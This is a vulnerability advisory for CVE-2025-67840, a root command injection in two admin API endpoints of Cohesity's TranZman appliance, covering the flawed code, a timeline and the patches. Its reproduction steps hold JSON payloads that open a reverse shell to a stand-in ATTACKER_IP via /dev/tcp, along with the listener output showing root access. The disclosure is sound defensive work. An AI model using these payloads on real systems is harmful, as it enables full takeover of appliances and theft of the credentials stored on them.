| Field | Value |
|---|---|
| CVE ID | CVE-2025-67840 |
| CVSS v3.1 | 7.2 (High) |
| Vector | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78: OS Command Injection |
| Vendor | Cohesity, Inc. |
| Product | TranZman Migration Appliance |
| Affected Versions | Release 4.0 Build 14614 through TZM_1757588060_SEP2025_FULL.depot |
The TranZman web application allows authenticated administrators to execute
arbitrary shell commands with root privileges by modifying parameters in
certain POST requests. At least two endpoints are affected:
/api/v1/scheduler/run and /api/v1/actions/run. These endpoints do not
properly validate or sanitise user input before incorporating it into system
commands. Additional endpoints may be vulnerable.
The /api/v1/scheduler/run endpoint in scheduler.py takes user input with
minimal escaping (only double quotes):
# /opt/SRLtzm/web/tranzman/views/scheduler.py
@route_scheduler.route('/run', methods=['POST'])
@jwt_required
def run_scheduler_job():
json_data = request.get_json(True, True)
job = json_data['job']
job = job.replace('"','\\"')
job = '"' + job + '"'
run_independent_script('cron_update', '-test', job)
return jsonify({ 'msg': 'ok' }), 200Steps to reproduce:
- Log in to the TranZman web application as admin
- Navigate to Scheduler
- Click "Run once" on an existing job (e.g.,
/opt/SRLtzm/bin/backup) - Intercept the request in a web proxy
Original request:
POST /api/v1/scheduler/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>
{"job":"/opt/SRLtzm/bin/backup"}Modified request with reverse shell:
POST /api/v1/scheduler/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>
{"job":"/bin/sh -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"}Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"msg":"ok"}Attacker listener receives root shell:
$ ncat -vnl 1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from <IP_ADDRESS>:37898.
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
The /api/v1/actions/run endpoint in actions.py concatenates user input
directly into a shell command without any sanitisation:
# /opt/SRLtzm/web/tranzman/views/actions.py
@route_actions.route('/run', methods=['POST'])
@jwt_required
def run_action():
json_data = request.get_json(True, True)
result, code = run_script('/opt/SRLtzm/bin/tzmqmcmd --cmd job ' +
json_data['action'] + ' ' + json_data['cep'] + ' web', True)
...Both action and cep parameters are injectable via shell separators (;)
or subshells ($()).
Steps to reproduce:
- Log in to the TranZman web application as admin
- Navigate to Actions
- Click the play button on an action
- Intercept the request in a web proxy
Original request:
POST /api/v1/actions/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>
{"action":"AnnulConfig","cep":"7F7F7F7F"}Modified request with reverse shell:
POST /api/v1/actions/run HTTP/1.1
Host: <IP_ADDRESS>
Content-Type: application/json
Authorization: Bearer <JWT_TOKEN>
{"action":"AnnulConfig;$(sh -i >& /dev/tcp/ATTACKER_IP/1337 0>&1)","cep":"7F7F7F7F"}Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"cep":"7F7F7F7F","action":"AnnulConfig","msg":"Job started"}An attacker who has the admin password (either through their regular job function or by guessing the password) could leverage this vulnerability to execute arbitrary commands as root, completely bypassing the intended CLISH restricted shell confinement.
- Remote Code Execution: Arbitrary commands execute as root
- Privilege Escalation: Bypasses CLISH restricted shell entirely
- Full System Compromise: Complete control of the TranZman appliance
- Data Exposure: Access to all backup metadata and credentials on the appliance
Apply Cohesity patches in the following order:
TZM_patch_1.patchTZM_1760106063_OCT2025R2_FULL.depot
Contact Cohesity support for the latest OVA version with integrated fixes.
| Date | Event |
|---|---|
| 26 September 2025 | Reported to Cohesity |
| 20 October 2025 | Cohesity confirmed fix in patches |
| 25 December 2025 | Embargo period ended |
| 27 December 2025 | Public disclosure |
Discovered by Greg Durys, LME